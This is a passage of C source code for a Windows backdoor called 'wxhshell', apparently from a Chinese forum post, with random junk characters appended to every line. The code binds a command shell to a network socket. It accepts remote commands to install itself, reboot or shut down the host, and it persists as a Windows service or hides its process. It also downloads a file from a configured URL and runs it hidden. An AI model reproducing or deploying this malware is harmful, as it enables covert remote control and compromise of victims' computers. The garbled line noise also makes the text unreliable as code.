    switch(cmd[0]) { 3An(jt$%Q  
  1;W=!Fx  
  // 帮助 \T-~JQVj  
  case '?': { `HX3|w6W;  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 1ZKzumF  
    break; H"+c)FGi  
  } px9>:t[P  
  // 安装 2go>  
  case 'i': { 1=Ilej1  
    if(Install()) f8:$G.}i  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); b5e@oIK  
    else uiBTnG"  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); I*1S/o_xI  
    break; Eo{EKI1  
    } RFG$X-.e  
  // 卸载 "6I[4U"@  
  case 'r': { &(&  
    if(Uninstall()) !g 0cC.'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); XSB8z   
    else ?(im+2  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); amB@N6*  
    break; KC&`x |  
    } +|C[-W7Sw  
  // 显示 wxhshell 所在路径 :J(sXKr[C  
  case 'p': { {&nV4c$v  
    char svExeFile[MAX_PATH]; \/Ij7nD`l%  
    strcpy(svExeFile,"\n\r"); MMD<I6Iyv  
      strcat(svExeFile,ExeFile); zd`=Ih2Wx  
        send(wsh,svExeFile,strlen(svExeFile),0); Gz dgL"M[  
    break;  ?B4#f!X  
    } SQKt}kDbM  
  // 重启 =2oUZjA  
  case 'b': { D&[Z;,CHMA  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); FpkXOj?*  
    if(Boot(REBOOT)) U7%28#@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4=p@2g2"H  
    else { %N~;{!![p  
    closesocket(wsh); \mXqak,y  
    ExitThread(0); "r-l8r,  
    } vO$ra5Z  
    break; 7>x;B  
    } A'DVJ9%xB  
  // 关机 bc}dYK3$q  
  case 'd': { @ u1Q-:  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); J#7(]!;F  
    if(Boot(SHUTDOWN)) R[ yL _>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); z Z%/W)t  
    else { Uh+jt,RB`  
    closesocket(wsh); zeTszT)  
    ExitThread(0); 5L &:_iQZy  
    } IH3FK!>6  
    break; aii'}c  
    } BQ#jwu0e  
  // 获取shell <"I?jgo  
  case 's': { VC=6uB  
    CmdShell(wsh); `$9L^Yg,4  
    closesocket(wsh); uJPH~mdW   
    ExitThread(0); b|E/LKa  
    break; uiK:*[  
  } !Y%D 9  
  // 退出 B+D`\Nlo  
  case 'x': { fSV5  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); n|]N7 b'  
    CloseIt(wsh); h[l{ 5Z*  
    break; MxN]7  
    } A[ 1)!e  
  // 离开 ~_}4jnC  
  case 'q': { J<_1z':W)  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); XZ@ >]P  
    closesocket(wsh); &PWf:y{R`  
    WSACleanup(); x<Se>+  
    exit(1); {Tx 3$eU  
    break; K.h]JD]o  
        } Fd"WlBYy0  
  } f%1wMOzx  
  } J3\)Jy  
GI4oQcJ  
  // 提示信息 HWR& C  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &enlAV'#)O  
} s=\7)n=,M  
  } em/Xu  
2B'^`>+8S  
  return; *dVD  
} Isp_U5M  
#wD7 \X-f  
// shell模块句柄 di<B~:l58  
int CmdShell(SOCKET sock) sWW\bK0B4  
{ WH;xq^  
STARTUPINFO si; h*l4Y!7  
ZeroMemory(&si,sizeof(si)); g _x\T+=  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; h *waRD  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; a^*B5G1(&  
PROCESS_INFORMATION ProcessInfo; `7>K1slQ}S  
char cmdline[]="cmd"; ;q&Z9 lm  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); [EOMCH2Ki  
  return 0; w}b<D#0XC  
} GFY-IC+fc  
[+7"{UvT  
// 自身启动模式 Fi k@hu  
int StartFromService(void) Q^q=!/qQ  
{ j%Gbg J  
typedef struct rUvwpP"k  
{ 2q|_Dma  
  DWORD ExitStatus; _"v~"k 90^  
  DWORD PebBaseAddress; :28@J?jjO  
  DWORD AffinityMask; aZC*7AK   
  DWORD BasePriority; _3zU,qm+  
  ULONG UniqueProcessId; zCM^r <Kr  
  ULONG InheritedFromUniqueProcessId; ! fX9*0L  
}   PROCESS_BASIC_INFORMATION; %g5jY%dg.r  
@6[x%j/!bt  
PROCNTQSIP NtQueryInformationProcess; l^BEFk;  
\)s3b/oap  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; V!}L<cN  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; yx 7loy$[  
;HT0w_,  
  HANDLE             hProcess; F94V5_[  
  PROCESS_BASIC_INFORMATION pbi; !~tnt i6  
YN`UTi\s  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); x:vrK#8D>  
  if(NULL == hInst ) return 0; n=r= u'oi  
0 c, bet{m  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); gBfX}EK7F  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); }P16Xb)p  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); % M+s{ l  
pV_}Or_  
  if (!NtQueryInformationProcess) return 0; \4C)~T:*  
O<Jwaap  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); i$g|?g~]  
  if(!hProcess) return 0; dkf}),Z F  
@<VG8{  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ltP   
DwTi_8m;  
  CloseHandle(hProcess); G@;Nz i89  
Sq.9-h%5  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); *j/ uihY  
if(hProcess==NULL) return 0; 0U9+  
s%FP6u7[i  
HMODULE hMod; E]1\iV  
char procName[255]; 57'q;I  
unsigned long cbNeeded; :Q8g?TZ  
Ml8E50t>;  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); y}Ck zD  
?UU5hek+m  
  CloseHandle(hProcess); {kT#o3,>w6  
pFS F[9?e>  
if(strstr(procName,"services")) return 1; // 以服务启动 a =9vS{  
o&WRta>VP  
  return 0; // 注册表启动 GsR-#tV@  
} -%saeX Wo  
d 4[poi ~  
// 主模块 2f s9JP{^0  
int StartWxhshell(LPSTR lpCmdLine) aYqqq|  
{ 9Zs #Ky/  
  SOCKET wsl; (di)`D5Q  
BOOL val=TRUE; 32TP Mk  
  int port=0; zkuv\kY/Z  
  struct sockaddr_in door; BW+qp3k\  
cF-Jc}h  
  if(wscfg.ws_autoins) Install(); 30t:O&2<  
Qu!OV]Cc  
port=atoi(lpCmdLine); ;>cLbjD  
gCjH%=s  
if(port<=0) port=wscfg.ws_port; R>^5$[  
1{= E ?  
  WSADATA data; x|&[hFXD  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ux)<&p.  
Vj#%B.#Zbf  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   &8R-C[A  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); (*LTq C  
  door.sin_family = AF_INET; oBhL}r  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 6(!,H<bON  
  door.sin_port = htons(port); GZ; Z  
+>n. T  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { k*A4;Bm  
closesocket(wsl); k?!TjBKm  
return 1; *'kC8 ZR5  
} /W7&U =d9  
rGQ86L<  
  if(listen(wsl,2) == INVALID_SOCKET) { 3 (Gygq#  
closesocket(wsl); `[w}hFl~q  
return 1; 2l]C55p)s  
} l#mqV@?A~  
  Wxhshell(wsl); JDIz28Ww  
  WSACleanup(); VGq{y{(  
pT|./ Fe  
return 0; H&"_}  
(or =f`  
} kfH9Y%bOy  
!NlB%cF  
// 以NT服务方式启动 ]W89.><%14  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) n=lggBRx  
{ ;igE IGR  
DWORD   status = 0; 11nO<WH  
  DWORD   specificError = 0xfffffff; C@l +\M(  
Zw3hp,P]  
  serviceStatus.dwServiceType     = SERVICE_WIN32; tyBg7dP  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; F(0pru4u  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; a,en8+r ]  
  serviceStatus.dwWin32ExitCode     = 0; Yj|c+&Ng  
  serviceStatus.dwServiceSpecificExitCode = 0; +]aD^N9['  
  serviceStatus.dwCheckPoint       = 0; 853]CK<  
  serviceStatus.dwWaitHint       = 0; Udb0&Y1^  
pO-)x:Wg  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); gDUoc*+h  
  if (hServiceStatusHandle==0) return; s (l+{b &  
tSw~_s_V  
status = GetLastError(); > 2!^ dT^D  
  if (status!=NO_ERROR) 3|z;K,`Fw  
{ @U7U?.p  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; +btP]?04  
    serviceStatus.dwCheckPoint       = 0; *<#]&2I  
    serviceStatus.dwWaitHint       = 0; %'K+$  
    serviceStatus.dwWin32ExitCode     = status; L%=BCmMx  
    serviceStatus.dwServiceSpecificExitCode = specificError; X.r!q1_c  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); +'{:zN5m  
    return; X"]mR7k  
  } URj% J/jD  
hfP(N_""S  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; VH$\ a~|  
  serviceStatus.dwCheckPoint       = 0;  )^QG-IM  
  serviceStatus.dwWaitHint       = 0; F ~11 _  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); TLR Lng  
} ul]m>W  
$)WH^Ir~  
// 处理NT服务事件,比如:启动、停止 1{Sx V  
VOID WINAPI NTServiceHandler(DWORD fdwControl) d@`-!"  
{ qrORP3D@  
switch(fdwControl) <3J=;.\6  
{ d- _93  
case SERVICE_CONTROL_STOP: kG~ivB}x  
  serviceStatus.dwWin32ExitCode = 0; rK0|9^i{  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; J}93u(T5  
  serviceStatus.dwCheckPoint   = 0; ~h~r]tV*+  
  serviceStatus.dwWaitHint     = 0; ZFd{q)qe   
  { g tSHy*3]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); g]TI8&tP!L  
  } fitK2d   
  return; [jmAMF<F  
case SERVICE_CONTROL_PAUSE: dzk?Zg  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; >u%[J!Y;;  
  break; eN7yjd'Y6  
case SERVICE_CONTROL_CONTINUE: C$EFh4  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; QjT#GvHY  
  break; Xl '\krz  
case SERVICE_CONTROL_INTERROGATE: iI/'! 85  
  break; _cnrGi}T  
}; 1&x0+~G  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); YpbdScz  
} ,m_&eF  
&Funao>  
// 标准应用程序主函数 Vo58Nz:%  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) K;(|v3g6  
{ p%i .(A  
wMR[*I/  
// 获取操作系统版本 R?FtncL%D  
OsIsNt=GetOsVer(); YP@ ?j  
GetModuleFileName(NULL,ExeFile,MAX_PATH); CH|g   
]'z ^Kt5S  
  // 从命令行安装 fjzr8vU}C  
  if(strpbrk(lpCmdLine,"iI")) Install(); zv3<i (  
4<!}4   
  // 下载执行文件 Yru1@/;  
if(wscfg.ws_downexe) { #0$eTdx#  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) PSt|!GST  
  WinExec(wscfg.ws_filenam,SW_HIDE); TBLk+AR  
} ;/]c^y  
=z7 Ay  
if(!OsIsNt) { n ;$}pg ~  
// 如果时win9x,隐藏进程并且设置为注册表启动 pRyS8'  
HideProc(); ::h02,y;1%  
StartWxhshell(lpCmdLine); Ts?>"@  
} 5w-G]b  
else I.n{ "=$B@  
  if(StartFromService()) 3hpz.ISk  
  // 以服务方式启动 E t[QcB3  
  StartServiceCtrlDispatcher(DispatchTable); hgMnO J  
else 1Y"y!\t7G  
  // 普通方式启动 GCmVmOdKr  
  StartWxhshell(lpCmdLine); 7H@Cy}a  
. KSr@Gz  
return 0; (\[!,T"[  
}
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只看该作者 1 发表于: 2006-10-10
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